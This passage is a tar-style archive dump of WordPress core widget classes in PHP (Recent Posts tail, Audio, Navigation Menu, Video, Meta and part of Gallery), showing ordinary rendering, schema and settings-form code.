		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
		}
		?>

		<ul>
			<?php foreach ( $r->posts as $recent_post ) : ?>
				<?php
				$post_title   = get_the_title( $recent_post->ID );
				$title        = ( ! empty( $post_title ) ) ? $post_title : __( '(no title)' );
				$aria_current = '';

				if ( get_queried_object_id() === $recent_post->ID ) {
					$aria_current = ' aria-current="page"';
				}
				?>
				<li>
					<a href="<?php the_permalink( $recent_post->ID ); ?>"<?php echo $aria_current; ?>><?php echo $title; ?></a>
					<?php if ( $show_date ) : ?>
						<span class="post-date"><?php echo get_the_date( '', $recent_post->ID ); ?></span>
					<?php endif; ?>
				</li>
			<?php endforeach; ?>
		</ul>

		<?php
		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating the settings for the current Recent Posts widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance              = $old_instance;
		$instance['title']     = sanitize_text_field( $new_instance['title'] );
		$instance['number']    = (int) $new_instance['number'];
		$instance['show_date'] = isset( $new_instance['show_date'] ) ? (bool) $new_instance['show_date'] : false;
		return $instance;
	}

	/**
	 * Outputs the settings form for the Recent Posts widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$title     = isset( $instance['title'] ) ? esc_attr( $instance['title'] ) : '';
		$number    = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5;
		$show_date = isset( $instance['show_date'] ) ? (bool) $instance['show_date'] : false;
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo $title; ?>" />
		</p>

		<p>
			<label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of posts to show:' ); ?></label>
			<input class="tiny-text" id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="number" step="1" min="1" value="<?php echo $number; ?>" size="3" />
		</p>

		<p>
			<input class="checkbox" type="checkbox"<?php checked( $show_date ); ?> id="<?php echo $this->get_field_id( 'show_date' ); ?>" name="<?php echo $this->get_field_name( 'show_date' ); ?>" />
			<label for="<?php echo $this->get_field_id( 'show_date' ); ?>"><?php _e( 'Display post date?' ); ?></label>
		</p>
		<?php
	}
}
                                                                                                                                                                                                                                               class-wp-widget-media-audio.php                                                                     0000644                 00000014427 15265674674 0012501 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Media_Audio class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements an audio widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Audio extends WP_Widget_Media {

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 */
	public function __construct() {
		parent::__construct(
			'media_audio',
			__( 'Audio' ),
			array(
				'description' => __( 'Displays an audio player.' ),
				'mime_type'   => 'audio',
			)
		);

		$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected'          => __( 'No audio selected' ),
				'add_media'                  => _x( 'Add Audio', 'label for button in the audio widget' ),
				'replace_media'              => _x( 'Replace Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ),
				'edit_media'                 => _x( 'Edit Audio', 'label for button in the audio widget; should preferably not be longer than ~13 characters long' ),
				'missing_attachment'         => sprintf(
					/* translators: %s: URL to media library. */
					__( 'That audio file cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ),
					esc_url( admin_url( 'upload.php' ) )
				),
				/* translators: %d: Widget count. */
				'media_library_state_multi'  => _n_noop( 'Audio Widget (%d)', 'Audio Widget (%d)' ),
				'media_library_state_single' => __( 'Audio Widget' ),
				'unsupported_file_type'      => __( 'Looks like this is not the correct kind of file. Please link to an audio file instead.' ),
			)
		);
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		$schema = array(
			'preload' => array(
				'type'        => 'string',
				'enum'        => array( 'none', 'auto', 'metadata' ),
				'default'     => 'none',
				'description' => __( 'Preload' ),
			),
			'loop'    => array(
				'type'        => 'boolean',
				'default'     => false,
				'description' => __( 'Loop' ),
			),
		);

		foreach ( wp_get_audio_extensions() as $audio_extension ) {
			$schema[ $audio_extension ] = array(
				'type'        => 'string',
				'default'     => '',
				'format'      => 'uri',
				/* translators: %s: Audio extension. */
				'description' => sprintf( __( 'URL to the %s audio source file' ), $audio_extension ),
			);
		}

		return array_merge( $schema, parent::get_instance_schema() );
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance   = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
		$attachment = null;

		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
			$attachment = get_post( $instance['attachment_id'] );
		}

		if ( $attachment ) {
			$src = wp_get_attachment_url( $attachment->ID );
		} else {
			$src = $instance['url'];
		}

		echo wp_audio_shortcode(
			array_merge(
				$instance,
				compact( 'src' )
			)
		);
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when an audio shortcode is used.
	 * In the customizer, however, widgets can be dynamically added and rendered via
	 * selective refresh, and so it is important to unconditionally enqueue them in
	 * case a widget does get added.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_preview_scripts() {
		/** This filter is documented in wp-includes/media.php */
		if ( 'mediaelement' === apply_filters( 'wp_audio_shortcode_library', 'mediaelement' ) ) {
			wp_enqueue_style( 'wp-mediaelement' );
			wp_enqueue_script( 'wp-mediaelement' );
		}
	}

	/**
	 * Loads the required media files for the media manager and scripts for media widgets.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

		wp_enqueue_style( 'wp-mediaelement' );
		wp_enqueue_script( 'wp-mediaelement' );

		$handle = 'media-audio-widget';
		wp_enqueue_script( $handle );

		$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $exported_schema, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);

		wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->widget_options['mime_type'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts()
		?>
		<script type="text/html" id="tmpl-wp-media-widget-audio-preview">
			<# if ( data.error && 'missing_attachment' === data.error ) { #>
				<?php
				wp_admin_notice(
					$this->l10n['missing_attachment'],
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ),
					)
				);
				?>
			<# } else if ( data.error ) { #>
				<?php
				wp_admin_notice(
					__( 'Unable to preview media due to an unknown error.' ),
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt' ),
					)
				);
				?>
			<# } else if ( data.model && data.model.src ) { #>
				<?php wp_underscore_audio_template(); ?>
			<# } #>
		</script>
		<?php
	}
}
                                                                                                                                                                                                                                         class-wp-nav-menu-widget.php                                                                        0000644                 00000014764 15265674674 0012055 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Nav_Menu_Widget class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement the Navigation Menu widget.
 *
 * @since 3.0.0
 *
 * @see WP_Widget
 */
class WP_Nav_Menu_Widget extends WP_Widget {

	/**
	 * Sets up a new Navigation Menu widget instance.
	 *
	 * @since 3.0.0
	 */
	public function __construct() {
		$widget_ops = array(
			'description'                 => __( 'Add a navigation menu to your sidebar.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'nav_menu', __( 'Navigation Menu' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Navigation Menu widget instance.
	 *
	 * @since 3.0.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Navigation Menu widget instance.
	 */
	public function widget( $args, $instance ) {
		// Get menu.
		$nav_menu = ! empty( $instance['nav_menu'] ) ? wp_get_nav_menu_object( $instance['nav_menu'] ) : false;

		if ( ! $nav_menu ) {
			return;
		}

		$default_title = __( 'Menu' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : '';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/**
		 * Filters the HTML format of widgets with navigation links.
		 *
		 * @since 5.5.0
		 *
		 * @param string $format The type of markup to use in widgets with navigation links.
		 *                       Accepts 'html5', 'xhtml'.
		 */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;

			$nav_menu_args = array(
				'fallback_cb'          => '',
				'menu'                 => $nav_menu,
				'container'            => 'nav',
				'container_aria_label' => $aria_label,
				'items_wrap'           => '<ul id="%1$s" class="%2$s">%3$s</ul>',
			);
		} else {
			$nav_menu_args = array(
				'fallback_cb' => '',
				'menu'        => $nav_menu,
			);
		}

		/**
		 * Filters the arguments for the Navigation Menu widget.
		 *
		 * @since 4.2.0
		 * @since 4.4.0 Added the `$instance` parameter.
		 *
		 * @param array   $nav_menu_args {
		 *     An array of arguments passed to wp_nav_menu() to retrieve a navigation menu.
		 *
		 *     @type callable|bool $fallback_cb Callback to fire if the menu doesn't exist. Default empty.
		 *     @type mixed         $menu        Menu ID, slug, or name.
		 * }
		 * @param WP_Term $nav_menu      Nav menu object for the current menu.
		 * @param array   $args          Display arguments for the current widget.
		 * @param array   $instance      Array of settings for the current widget.
		 */
		wp_nav_menu( apply_filters( 'widget_nav_menu_args', $nav_menu_args, $nav_menu, $args, $instance ) );

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Navigation Menu widget instance.
	 *
	 * @since 3.0.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance = array();
		if ( ! empty( $new_instance['title'] ) ) {
			$instance['title'] = sanitize_text_field( $new_instance['title'] );
		}
		if ( ! empty( $new_instance['nav_menu'] ) ) {
			$instance['nav_menu'] = (int) $new_instance['nav_menu'];
		}
		return $instance;
	}

	/**
	 * Outputs the settings form for the Navigation Menu widget.
	 *
	 * @since 3.0.0
	 *
	 * @global WP_Customize_Manager $wp_customize
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		global $wp_customize;
		$title    = $instance['title'] ?? '';
		$nav_menu = $instance['nav_menu'] ?? '';

		// Get menus.
		$menus = wp_get_nav_menus();

		$empty_menus_style     = '';
		$not_empty_menus_style = '';
		if ( empty( $menus ) ) {
			$empty_menus_style = ' style="display:none" ';
		} else {
			$not_empty_menus_style = ' style="display:none" ';
		}

		$nav_menu_style = '';
		if ( ! $nav_menu ) {
			$nav_menu_style = 'display: none;';
		}

		// If no menus exists, direct the user to go and create some.
		?>
		<p class="nav-menu-widget-no-menus-message" <?php echo $not_empty_menus_style; ?>>
			<?php
			if ( $wp_customize instanceof WP_Customize_Manager ) {
				$url = 'javascript: wp.customize.panel( "nav_menus" ).focus();';
			} else {
				$url = admin_url( 'nav-menus.php' );
			}

			printf(
				/* translators: %s: URL to create a new menu. */
				__( 'No menus have been created yet. <a href="%s">Create some</a>.' ),
				// The URL can be a `javascript:` link, so esc_attr() is used here instead of esc_url().
				esc_attr( $url )
			);
			?>
		</p>
		<div class="nav-menu-widget-form-controls" <?php echo $empty_menus_style; ?>>
			<p>
				<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
				<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo esc_attr( $title ); ?>" />
			</p>
			<p>
				<label for="<?php echo $this->get_field_id( 'nav_menu' ); ?>"><?php _e( 'Select Menu:' ); ?></label>
				<select id="<?php echo $this->get_field_id( 'nav_menu' ); ?>" name="<?php echo $this->get_field_name( 'nav_menu' ); ?>">
					<option value="0"><?php _e( '&mdash; Select &mdash;' ); ?></option>
					<?php foreach ( $menus as $menu ) : ?>
						<option value="<?php echo esc_attr( $menu->term_id ); ?>" <?php selected( $nav_menu, $menu->term_id ); ?>>
							<?php echo esc_html( $menu->name ); ?>
						</option>
					<?php endforeach; ?>
				</select>
			</p>
			<?php if ( $wp_customize instanceof WP_Customize_Manager ) : ?>
				<p class="edit-selected-nav-menu" style="<?php echo $nav_menu_style; ?>">
					<button type="button" class="button"><?php _e( 'Edit Menu' ); ?></button>
				</p>
			<?php endif; ?>
		</div>
		<?php
	}
}
            class-wp-widget-media-video.php                                                                     0000644                 00000021172 15265674674 0012501 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Media_Video class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.8.0
 */

/**
 * Core class that implements a video widget.
 *
 * @since 4.8.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Video extends WP_Widget_Media {

	/**
	 * Constructor.
	 *
	 * @since 4.8.0
	 */
	public function __construct() {
		parent::__construct(
			'media_video',
			__( 'Video' ),
			array(
				'description' => __( 'Displays a video from the media library or from YouTube, Vimeo, or another provider.' ),
				'mime_type'   => 'video',
			)
		);

		$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected'          => __( 'No video selected' ),
				'add_media'                  => _x( 'Add Video', 'label for button in the video widget' ),
				'replace_media'              => _x( 'Replace Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ),
				'edit_media'                 => _x( 'Edit Video', 'label for button in the video widget; should preferably not be longer than ~13 characters long' ),
				'missing_attachment'         => sprintf(
					/* translators: %s: URL to media library. */
					__( 'That video cannot be found. Check your <a href="%s">media library</a> and make sure it was not deleted.' ),
					esc_url( admin_url( 'upload.php' ) )
				),
				/* translators: %d: Widget count. */
				'media_library_state_multi'  => _n_noop( 'Video Widget (%d)', 'Video Widget (%d)' ),
				'media_library_state_single' => __( 'Video Widget' ),
				/* translators: %s: A list of valid video file extensions. */
				'unsupported_file_type'      => sprintf( __( 'Sorry, the video at the supplied URL cannot be loaded. Please check that the URL is for a supported video file (%s) or stream (e.g. YouTube and Vimeo).' ), '<code>.' . implode( '</code>, <code>.', wp_get_video_extensions() ) . '</code>' ),
			)
		);
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.8.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {

		$schema = array(
			'preload' => array(
				'type'                  => 'string',
				'enum'                  => array( 'none', 'auto', 'metadata' ),
				'default'               => 'metadata',
				'description'           => __( 'Preload' ),
				'should_preview_update' => false,
			),
			'loop'    => array(
				'type'                  => 'boolean',
				'default'               => false,
				'description'           => __( 'Loop' ),
				'should_preview_update' => false,
			),
			'content' => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'wp_kses_post',
				'description'           => __( 'Tracks (subtitles, captions, descriptions, chapters, or metadata)' ),
				'should_preview_update' => false,
			),
		);

		foreach ( wp_get_video_extensions() as $video_extension ) {
			$schema[ $video_extension ] = array(
				'type'        => 'string',
				'default'     => '',
				'format'      => 'uri',
				/* translators: %s: Video extension. */
				'description' => sprintf( __( 'URL to the %s video source file' ), $video_extension ),
			);
		}

		return array_merge( $schema, parent::get_instance_schema() );
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance   = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );
		$attachment = null;

		if ( $this->is_attachment_with_mime_type( $instance['attachment_id'], $this->widget_options['mime_type'] ) ) {
			$attachment = get_post( $instance['attachment_id'] );
		}

		$src = $instance['url'];
		if ( $attachment ) {
			$src = wp_get_attachment_url( $attachment->ID );
		}

		if ( empty( $src ) ) {
			return;
		}

		$youtube_pattern = '#^https?://(?:www\.)?(?:youtube\.com/watch|youtu\.be/)#';
		$vimeo_pattern   = '#^https?://(.+\.)?vimeo\.com/.*#';

		if ( $attachment || preg_match( $youtube_pattern, $src ) || preg_match( $vimeo_pattern, $src ) ) {
			add_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) );

			echo wp_video_shortcode(
				array_merge(
					$instance,
					compact( 'src' )
				),
				$instance['content']
			);

			remove_filter( 'wp_video_shortcode', array( $this, 'inject_video_max_width_style' ) );
		} else {
			echo $this->inject_video_max_width_style( wp_oembed_get( $src ) );
		}
	}

	/**
	 * Inject max-width and remove height for videos too constrained to fit inside sidebars on frontend.
	 *
	 * @since 4.8.0
	 *
	 * @param string $html Video shortcode HTML output.
	 * @return string HTML Output.
	 */
	public function inject_video_max_width_style( $html ) {
		$html = preg_replace( '/\sheight="\d+"/', '', $html );
		$html = preg_replace( '/\swidth="\d+"/', '', $html );
		$html = preg_replace( '/(?<=width:)\s*\d+px(?=;?)/', '100%', $html );
		return $html;
	}

	/**
	 * Enqueue preview scripts.
	 *
	 * These scripts normally are enqueued just-in-time when a video shortcode is used.
	 * In the customizer, however, widgets can be dynamically added and rendered via
	 * selective refresh, and so it is important to unconditionally enqueue them in
	 * case a widget does get added.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_preview_scripts() {
		/** This filter is documented in wp-includes/media.php */
		if ( 'mediaelement' === apply_filters( 'wp_video_shortcode_library', 'mediaelement' ) ) {
			wp_enqueue_style( 'wp-mediaelement' );
			wp_enqueue_script( 'mediaelement-vimeo' );
			wp_enqueue_script( 'wp-mediaelement' );
		}
	}

	/**
	 * Loads the required scripts and styles for the widget control.
	 *
	 * @since 4.8.0
	 */
	public function enqueue_admin_scripts() {
		parent::enqueue_admin_scripts();

		$handle = 'media-video-widget';
		wp_enqueue_script( $handle );

		$exported_schema = array();
		foreach ( $this->get_instance_schema() as $field => $field_schema ) {
			$exported_schema[ $field ] = wp_array_slice_assoc( $field_schema, array( 'type', 'default', 'enum', 'minimum', 'format', 'media_prop', 'should_preview_update' ) );
		}
		wp_add_inline_script(
			$handle,
			sprintf(
				'wp.mediaWidgets.modelConstructors[ %s ].prototype.schema = %s;',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $exported_schema, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);

		wp_add_inline_script(
			$handle,
			sprintf(
				'
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.mime_type = %2$s;
					wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n = _.extend( {}, wp.mediaWidgets.controlConstructors[ %1$s ].prototype.l10n, %3$s );
				',
				wp_json_encode( $this->id_base, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->widget_options['mime_type'], JSON_HEX_TAG | JSON_UNESCAPED_SLASHES ),
				wp_json_encode( $this->l10n, JSON_HEX_TAG | JSON_UNESCAPED_SLASHES )
			)
		);
	}

	/**
	 * Render form template scripts.
	 *
	 * @since 4.8.0
	 */
	public function render_control_template_scripts() {
		parent::render_control_template_scripts()
		?>
		<script type="text/html" id="tmpl-wp-media-widget-video-preview">
			<# if ( data.error && 'missing_attachment' === data.error ) { #>
				<?php
				wp_admin_notice(
					$this->l10n['missing_attachment'],
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ),
					)
				);
				?>
			<# } else if ( data.error && 'unsupported_file_type' === data.error ) { #>
				<?php
				wp_admin_notice(
					$this->l10n['unsupported_file_type'],
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt', 'notice-missing-attachment' ),
					)
				);
				?>
			<# } else if ( data.error ) { #>
				<?php
				wp_admin_notice(
					__( 'Unable to preview media due to an unknown error.' ),
					array(
						'type'               => 'error',
						'additional_classes' => array( 'notice-alt' ),
					)
				);
				?>
			<# } else if ( data.is_oembed && data.model.poster ) { #>
				<a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link">
					<img src="{{ data.model.poster }}" />
				</a>
			<# } else if ( data.is_oembed ) { #>
				<a href="{{ data.model.src }}" target="_blank" class="media-widget-video-link no-poster">
					<span class="dashicons dashicons-format-video"></span>
				</a>
			<# } else if ( data.model.src ) { #>
				<?php wp_underscore_video_template(); ?>
			<# } #>
		</script>
		<?php
	}
}
                                                                                                                                                                                                                                                                                                                                                                                                      class-wp-widget-meta.php                                                                            0000644                 00000007773 15265674674 0011257 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Meta class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.4.0
 */

/**
 * Core class used to implement a Meta widget.
 *
 * Displays log in/out, RSS feed links, etc.
 *
 * @since 2.8.0
 *
 * @see WP_Widget
 */
class WP_Widget_Meta extends WP_Widget {

	/**
	 * Sets up a new Meta widget instance.
	 *
	 * @since 2.8.0
	 */
	public function __construct() {
		$widget_ops = array(
			'classname'                   => 'widget_meta',
			'description'                 => __( 'Login, RSS, &amp; WordPress.org links.' ),
			'customize_selective_refresh' => true,
			'show_instance_in_rest'       => true,
		);
		parent::__construct( 'meta', __( 'Meta' ), $widget_ops );
	}

	/**
	 * Outputs the content for the current Meta widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $args     Display arguments including 'before_title', 'after_title',
	 *                        'before_widget', and 'after_widget'.
	 * @param array $instance Settings for the current Meta widget instance.
	 */
	public function widget( $args, $instance ) {
		$default_title = __( 'Meta' );
		$title         = ! empty( $instance['title'] ) ? $instance['title'] : $default_title;

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];

		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		$format = current_theme_supports( 'html5', 'navigation-widgets' ) ? 'html5' : 'xhtml';

		/** This filter is documented in wp-includes/widgets/class-wp-nav-menu-widget.php */
		$format = apply_filters( 'navigation_widgets_format', $format );

		if ( 'html5' === $format ) {
			// The title may be filtered: Strip out HTML and make sure the aria-label is never empty.
			$title      = trim( strip_tags( $title ) );
			$aria_label = $title ? $title : $default_title;
			echo '<nav aria-label="' . esc_attr( $aria_label ) . '">';
		}
		?>

		<ul>
			<?php wp_register(); ?>
			<li><?php wp_loginout(); ?></li>
			<li><a href="<?php echo esc_url( get_bloginfo( 'rss2_url' ) ); ?>"><?php _e( 'Entries feed' ); ?></a></li>
			<li><a href="<?php echo esc_url( get_bloginfo( 'comments_rss2_url' ) ); ?>"><?php _e( 'Comments feed' ); ?></a></li>

			<?php
			/**
			 * Filters the "WordPress.org" list item HTML in the Meta widget.
			 *
			 * @since 3.6.0
			 * @since 4.9.0 Added the `$instance` parameter.
			 *
			 * @param string $html     Default HTML for the WordPress.org list item.
			 * @param array  $instance Array of settings for the current widget.
			 */
			echo apply_filters(
				'widget_meta_poweredby',
				sprintf(
					'<li><a href="%1$s">%2$s</a></li>',
					esc_url( __( 'https://wordpress.org/' ) ),
					__( 'WordPress.org' )
				),
				$instance
			);

			wp_meta();
			?>

		</ul>

		<?php
		if ( 'html5' === $format ) {
			echo '</nav>';
		}

		echo $args['after_widget'];
	}

	/**
	 * Handles updating settings for the current Meta widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings to save.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$instance['title'] = sanitize_text_field( $new_instance['title'] );

		return $instance;
	}

	/**
	 * Outputs the settings form for the Meta widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $instance['title'] ); ?>" />
		</p>
		<?php
	}
}
     class-wp-widget-media-gallery.php                                                                   0000644                 00000016574 15265674674 0013044 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Widget API: WP_Widget_Media_Gallery class
 *
 * @package WordPress
 * @subpackage Widgets
 * @since 4.9.0
 */

/**
 * Core class that implements a gallery widget.
 *
 * @since 4.9.0
 *
 * @see WP_Widget_Media
 * @see WP_Widget
 */
class WP_Widget_Media_Gallery extends WP_Widget_Media {

	/**
	 * Constructor.
	 *
	 * @since 4.9.0
	 */
	public function __construct() {
		parent::__construct(
			'media_gallery',
			__( 'Gallery' ),
			array(
				'description' => __( 'Displays an image gallery.' ),
				'mime_type'   => 'image',
			)
		);

		$this->l10n = array_merge(
			$this->l10n,
			array(
				'no_media_selected' => __( 'No images selected' ),
				'add_media'         => _x( 'Add Images', 'label for button in the gallery widget; should not be longer than ~13 characters long' ),
				'replace_media'     => '',
				'edit_media'        => _x( 'Edit Gallery', 'label for button in the gallery widget; should not be longer than ~13 characters long' ),
			)
		);
	}

	/**
	 * Get schema for properties of a widget instance (item).
	 *
	 * @since 4.9.0
	 *
	 * @see WP_REST_Controller::get_item_schema()
	 * @see WP_REST_Controller::get_additional_fields()
	 * @link https://core.trac.wordpress.org/ticket/35574
	 *
	 * @return array Schema for properties.
	 */
	public function get_instance_schema() {
		$schema = array(
			'title'          => array(
				'type'                  => 'string',
				'default'               => '',
				'sanitize_callback'     => 'sanitize_text_field',
				'description'           => __( 'Title for the widget' ),
				'should_preview_update' => false,
			),
			'ids'            => array(
				'type'              => 'array',
				'items'             => array(
					'type' => 'integer',
				),
				'default'           => array(),
				'sanitize_callback' => 'wp_parse_id_list',
			),
			'columns'        => array(
				'type'    => 'integer',
				'default' => 3,
				'minimum' => 1,
				'maximum' => 9,
			),
			'size'           => array(
				'type'    => 'string',
				'enum'    => array_merge( get_intermediate_image_sizes(), array( 'full', 'custom' ) ),
				'default' => 'thumbnail',
			),
			'link_type'      => array(
				'type'                  => 'string',
				'enum'                  => array( 'post', 'file', 'none' ),
				'default'               => 'post',
				'media_prop'            => 'link',
				'should_preview_update' => false,
			),
			'orderby_random' => array(
				'type'                  => 'boolean',
				'default'               => false,
				'media_prop'            => '_orderbyRandom',
				'should_preview_update' => false,
			),
		);

		/** This filter is documented in wp-includes/widgets/class-wp-widget-media.php */
		$schema = apply_filters( "widget_{$this->id_base}_instance_schema", $schema, $this );

		return $schema;
	}

	/**
	 * Render the media on the frontend.
	 *
	 * @since 4.9.0
	 *
	 * @param array $instance Widget instance props.
	 */
	public function render_media( $instance ) {
		$instance = array_merge( wp_list_pluck( $this->get_instance_schema(), 'default' ), $instance );

		$shortcode_atts = array_merge(
			$instance,
			array(
				'link' => $instance['link_type'],
			)
		);

		// @codeCoverageIgnoreStart
		if ( $instance['orderby_random'] ) {
			$shortcode_atts['orderby'] = 'rand';
		}

		// @codeCoverageIgnoreEnd
		echo gallery_shortcode( $shortcode_atts );
	}

	/**
	 * Loads the required media files for the media manager and scripts for media widgets.
	 *
	 * @since 4.9.0
